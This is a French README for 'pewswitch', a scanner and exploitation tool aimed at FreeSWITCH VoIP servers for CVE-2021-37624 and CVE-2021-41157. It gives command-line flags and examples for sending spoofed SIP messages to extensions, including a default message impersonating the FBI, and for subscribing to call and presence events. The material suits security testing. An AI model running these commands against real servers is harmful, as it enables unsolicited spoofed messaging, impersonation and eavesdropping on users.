
Un kit de scan et d'exploitation spécifique à FreeSWITCH pour CVE-2021-37624 et CVE-2021-41157.
Un kit d'analyse et d'exploitation spécifique à FreeSWITCH pour les CVE-2021-37624 et CVE-2021-41157.
Article connexe : https://0xinfection.github.io/posts/analyzing-freeswitch-vulns/
Le message d'aide de l'outil est le suivant :
$ ./pewswitch --help
___ . ____ _ __ __
/ _ \___|\ __/ __/| __(_) /_____/ /
/ ___/ -_) |/|/ /\ \| |/|/ / / __/ __/ _ \
/_/ \__/|__,__/___/|__,__/_/\__/\__/_//_/ v0.1
"where we pew pew pew freeswitch"
Usage of ./pewswitch:
-cve string
Specify a specific CVE to scan. Both vulns are tested by default.
-delay int
Delay in seconds between subsequent requests. (default 0)
-events string
Comma-separated list of events to be subscribed to. All events are monitored by default.
-expires int
Maximum value of the 'Expires' header for SUBSCRIBE requests. (default 60)
-ext-file string
Specify a file containing extensions instead of '-exts'.
-exts string
Comma separated list of extensions to scan.
-msg-file string
Specify a CSV file containing messages to be sent (if found vulnerable to CVE-2021-37624).
-out-dir string
Output directory to write the results to. (default "./pewswitch-results/")
-out-format string
Output format type of the results. Can be either 'json' or 'csv'. (default "json")
-threads int
Number of threads to use while scanning. (default 2)
-user-agent string
Custom user-agent string to use. (default "pewswitch/0.1")
Par défaut, l'outil analyse les deux vulnérabilités. Si vous souhaitez tester une vulnérabilité spécifique, vous pouvez utiliser le drapeau -cve pour tester une vulnérabilité particulière.
Exemple :
./pewswitch -cve 'cve-2021-37624' -exts 1000 freeserver.voip.com
Pour spécifier les extensions, vous pouvez choisir l'une des méthodes suivantes :
Spécifier une liste d'extensions séparées par des virgules via l'argument -exts.
Exemple :
./pewswitch -exts 1000,1001 freeserver.voip.com freeserver1.voip.com:5060
Cela fera en sorte que l'outil teste les combinaisons de paires pour chaque extension avec chaque hôte. Ainsi, les cibles finales testées dans la commande ci-dessus sont : [email protected], [email protected], [email protected]:5060 et [email protected]:5060.
Spécifier un fichier contenant les extensions. Notez que lors de l'utilisation d'un fichier, vous devez spécifier à la fois l'utilisateur et l'hôte. Cela est particulièrement utile lorsque vous devez tester des extensions spécifiques sur des serveurs spécifiques. Un exemple d'un tel fichier (par exemple extensions-sample.txt) pourrait ressembler à ceci :
[email protected]
[email protected]:5060
[email protected]:5660
...
Exemple :
./pewswitch -ext-file extensions-sample.txt
Notez que si aucun port n'est spécifié avec l'hôte, le port 5060 sera utilisé par défaut comme port de destination.
L'outil peut produire une sortie dans 2 formats différents, à savoir JSON et CSV. Le format de sortie par défaut est JSON. Le format de sortie peut être modifié à l'aide de l'option -out-format.
Exemple :
./pewswitch -exts 1000 -out-format csv freeserver.voip.com
Vous trouverez des exemples de rapports au format json ainsi qu'au format csv dans le répertoire ./pewswitch-results/.
Le répertoire de sortie de destination peut être modifié à l'aide de l'argument -out-dir. Par défaut, le répertoire de sortie est ./pewswitch-results/, qui est créé dans le répertoire de travail courant lors de l'exécution de l'outil.
Exemple :
./pewswitch -ext-file extensions-sample.txt -out-dir /tmp
Il existe des paramètres supplémentaires spécifiques aux paquets dans l'outil qui permettent de personnaliser les requêtes lors de la validation/exploitation des vulnérabilités.
Si un serveur est jugé vulnérable à CVE-2021-37624, un message exemple de l'expéditeur FBI et du numéro 022-324-3000 est envoyé par défaut à l'extension cible. Le contenu du message ressemble à ceci : FBI here. Open your door!
Ce comportement peut être modifié en utilisant l'argument -msg-file. Celui-ci accepte un fichier CSV contenant le nom de l'expéditeur, le numéro de téléphone et enfin le contenu du message à envoyer. Un exemple d'un tel fichier est messages-sample.csv.
sender_name,sender_phone,message
FBI,022-324-3000,FBI here. Open your door!
0xInfection,000-000-0000,Hi. Just confirming the vulnerability.
SPAMMY SALESMAN,BAD-GUY-9999,BUY MY STUFF!
Exemple :
./pewswitch -cve 'cve-2021-27624' -msg-file messages-sample.csv -exts 1000 freeserver.voip.com
Par défaut, l'outil envoie des requêtes SUBSCRIBE avec un en-tête Expires défini à 60 secondes. C'est pour la même durée que l'outil continuera d'écouter les messages NOTIFY du serveur. La valeur peut être modifiée à l'aide du drapeau -expires.
Exemple :
./pewswitch -expires 600 -ext-file extensions-sample.txt
L'outil surveille également les messages NOTIFY en s'abonnant à tous les événements. Une liste de tous les événements est ci-dessous :
talkholdconferenceas-feature-eventdialogline-seizecall-infoslainclude-session-descriptionpresencepresence.winfomessage-summaryreferCe comportement peut être modifié par le drapeau -events qui prend une liste d'événements séparés par des virgules à surveiller. Exemple :
./pewswitch -cve 'cve-2021-41157' -events message-summary,presence -exts 1000,1002 freeserver.voip.com
Vous pouvez utiliser les binaires précompilés de la section Releases. Ou, si vous préférez compiler le code vous-même, vous aurez besoin de Go > 1.13. Pour construire l'outil, vous pouvez exécuter go build qui vous donnera un binaire à exécuter.
L'outil est disponible sous licence MIT. N'hésitez pas à en faire ce que vous voulez. :)
Actuellement, PewSWITCH est en version v0.1.
Nouvelles demandes et fonctionnalités ? N'hésitez pas à créer un issue ou une pull request.
Si vous avez quelque chose à discuter, vous pouvez me contacter via Twitter/email sur mon profil.
Créé avec ♡ par Pinaki.